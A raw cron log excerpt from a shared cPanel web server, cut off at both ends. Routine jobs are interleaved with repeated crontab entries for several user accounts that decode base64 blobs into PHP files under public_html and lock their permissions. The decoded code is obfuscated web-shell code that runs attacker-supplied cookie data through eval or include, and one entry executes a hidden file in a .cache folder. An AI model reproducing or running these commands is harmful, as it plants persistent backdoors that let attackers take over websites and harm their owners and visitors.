rIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:45:02 medusa CROND[16045]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:45:02 medusa CROND[16044]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:45:02 medusa CROND[16051]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:46:02 medusa CROND[17427]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 04:46:02 medusa CROND[17428]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:46:02 medusa CROND[17429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:46:02 medusa CROND[17430]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:46:02 medusa CROND[17431]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:46:02 medusa CROND[17432]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:46:02 medusa CROND[17433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:46:02 medusa CROND[17435]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:46:02 medusa CROND[17439]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:46:02 medusa CROND[17440]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:46:02 medusa CROND[17441]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:46:02 medusa CROND[17442]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:46:02 medusa CROND[17448]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:46:02 medusa CROND[17457]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:46:02 medusa CROND[17456]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:47:02 medusa CROND[18856]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:47:02 medusa CROND[18861]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:47:02 medusa CROND[18862]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:47:02 medusa CROND[18863]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 04:47:02 medusa CROND[18864]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:47:02 medusa CROND[18865]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:47:02 medusa CROND[18866]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:47:02 medusa CROND[18867]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:47:02 medusa CROND[18868]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:47:02 medusa CROND[18871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:47:02 medusa CROND[18872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:47:02 medusa CROND[18875]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:47:02 medusa CROND[18880]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCR